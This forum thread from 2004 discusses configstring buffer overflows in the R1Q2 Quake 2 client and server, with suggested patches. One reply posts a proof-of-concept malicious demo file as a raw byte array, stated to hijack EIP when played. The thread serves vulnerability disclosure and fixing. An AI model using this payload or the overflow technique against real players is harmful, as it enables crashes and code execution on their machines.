r1ch.net forums
* Home Help Search Login Register
r1ch.net  |  r1ch.net stuff  |  R1Q2  |  Topic: Some more suggested fixes
Pages: [1]
Print
Author Topic: Some more suggested fixes  (Read 10154 times)
[SkulleR]
Guest
« on: November 22, 2004, 03:05:03 pm »

There are some issues related to ugly configstring handling in q2.

The first problem is that default configstring length is MAX_QPATH chars, but some mods generate CS_STATUSBARs that may exceed this limit a lot. Since server stores them as two-dimensional array of strings, CS_STATUSBAR overwrites following slots. Since there is some space left before next configstring index, CS_AIRACCEL, this doesn't produce any visible errors. However this generates a lot of traffic overhead during client connection: the following code will resend multiple fragments of CS_STATUSBAR!

Code:

start = atoi(Cmd_Argv(2));
while ( sv_client->netchan.message.cursize < 1200
&& start < MAX_CONFIGSTRINGS)
{
if (sv.configstrings[start][0])
{
if (sv_client->netchan.message.cursize && strlen(sv.configstrings[start]) + sv_client->netchan.message.cursize > 1200)
break;
MSG_BeginWriteByte (&sv_client->netchan.message, svc_configstring);
MSG_WriteShort (&sv_client->netchan.message, start);
MSG_WriteString (&sv_client->netchan.message, sv.configstrings[start]);
}
start++;
}


The possible solutuon may be changing static sv.configstrings array into the list of dynamically allocated strings. Similar problem exsists on client side. More, client may also overwrite memory after cl.configstrings due to this issue.

The second problem is the potentional buffer overflow inside CL_LoadClientinfo that may be exploited by playing malicious demos, etc.
Code:

void CL_LoadClientinfo (clientinfo_t *ci, char *s)
{
...
char model_name[MAX_QPATH];
...

strncpy(ci->cinfo, s, sizeof(ci->cinfo));
ci->cinfo[sizeof(ci->cinfo)-1] = 0;

...

// isolate the model name
strcpy (model_name, s);


The possible quick fix is:
Code:

strncpy(ci->cinfo, s, sizeof(ci->cinfo));
ci->cinfo[sizeof(ci->cinfo)-1] = 0;

s = ci->info;

[/quote]
Logged
[SkulleR]
Guest
« Reply #1 on: November 22, 2004, 03:21:51 pm »

Just found the same problem as above inside S_RegisterSexedSound:

Code:

struct sfx_s *S_RegisterSexedSound (char *base, int entnum)
{
...
char model[MAX_QPATH];
...

// determine what model the client is using
model[0] = 0;

n = CS_PLAYERSKINS + entnum - 1;
if (cl.configstrings[n][0])
{
p = strchr(cl.configstrings[n], '\\');
if (p)
{
p += 1;
strcpy(model, p);

Logged
R1CH
Administrator
Member

Posts: 2625



« Reply #2 on: November 22, 2004, 03:24:50 pm »

This "overflow" is actually by design it seems, an array overflow for CS_STATUSBAR. Note that there is a lot of free configstring space between it and the next slots.

I agree that the client handling of configstrings however is pretty bad, with a malicious demo or server it's quite possible to cause a crash. With my incomplete testing though I don't think it's exploitable.

I can't believe I missed this though. I spent a good few hours auditing the various client parsing functions one day and looked all over configstrings without spotting the blatantly insecure strcpy. Thanks for letting me know Smiley.
Logged
R1CH
Administrator
Member

Posts: 2625



« Reply #3 on: November 22, 2004, 03:36:31 pm »

A quick fix for the client is to only allow the CS_STATUSBAR configstring to overflow:
Code:

//r1ch: only allow statusbar to overflow
if (i >= CS_STATUSBAR && i < CS_AIRACCEL)
strncpy (cl.configstrings[i], s, (sizeof(cl.configstrings[i]) * (CS_AIRACCEL - i))-1);
else
strncpy (cl.configstrings[i], s, sizeof(cl.configstrings[i])-1);
Logged
R1CH
Administrator
Member

Posts: 2625



« Reply #4 on: November 22, 2004, 03:55:15 pm »

And fix for the server, split them into MAX_QPATH chunks. They reassemble correctly on the client as the \0 gets strcpyed over:
Code:
start = atoi(Cmd_Argv(2));
while ( sv_client->netchan.message.cursize < 1200
&& start < MAX_CONFIGSTRINGS)
{
if (sv.configstrings[start][0])
{
if (sv_client->netchan.message.cursize && strlen(sv.configstrings[start]) + sv_client->netchan.message.cursize > 1200)
break;
MSG_BeginWriteByte (&sv_client->netchan.message, svc_configstring);
MSG_WriteShort (&sv_client->netchan.message, start);

len = strlen(sv.configstrings[start]);

//MSG_WriteString (&sv_client->netchan.message, sv.configstrings[start]);
SZ_Write (&sv_client->netchan.message, sv.configstrings[start], len > MAX_QPATH ? MAX_QPATH : len);
SZ_Write (&sv_client->netchan.message, "\0", 1);
}
start++;
}
Logged
Anonymous
Guest
« Reply #5 on: November 22, 2004, 03:58:27 pm »

Quote
With my incomplete testing though I don't think it's exploitable.

It is, tested with latest r1q2. Try saving the following dump as dm2 file and playing it. This will set EIP to 0xABADCAFE.

Code:

//  Source File: exploit.dm2
//         Time: 22.11.2004 23:54
// Orig. Offset: 0 / 0x00000000
//       Length: 620 / 0x0000026C (bytes)
unsigned char rawData[620] =
{
    0x01, 0x00, 0x00, 0x00, 0x06, 0x01, 0x00, 0x00, 0x00, 0x06, 0x01, 0x00, 0x00, 0x00, 0x06, 0x01,
    0x00, 0x00, 0x00, 0x06, 0x01, 0x00, 0x00, 0x00, 0x06, 0x4B, 0x02, 0x00, 0x00, 0x0C, 0x22, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x54, 0x68, 0x65, 0x20, 0x45, 0x64,
    0x67, 0x65, 0x00, 0x0D, 0x1F, 0x00, 0x38, 0x30, 0x37, 0x31, 0x37, 0x37, 0x31, 0x34, 0x00, 0x0D,
    0x21, 0x00, 0x6D, 0x61, 0x70, 0x73, 0x2F, 0x71, 0x32, 0x64, 0x6D, 0x31, 0x2E, 0x62, 0x73, 0x70,
    0x00, 0x0D, 0x20, 0x05, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0x00, 0x0B, 0x73, 0x6B, 0x69, 0x6E, 0x73, 0x0A, 0x00, 0x0B, 0x70, 0x72,
    0x65, 0x63, 0x61, 0x63, 0x68, 0x65, 0x0A, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
} ;
Logged
[SkulleR]
Guest
« Reply #6 on: November 22, 2004, 04:05:31 pm »

That was me below Smiley

Yeah, those fixes will also do the job well, however writing CS_LAYOUT as a single big configstring looks less hackish for me Smiley
Logged
Pages: [1]
Print
r1ch.net  |  r1ch.net stuff  |  R1Q2  |  Topic: Some more suggested fixes
Jump to:  

Powered by SMF 1.1.19 | SMF © 2013, Simple Machines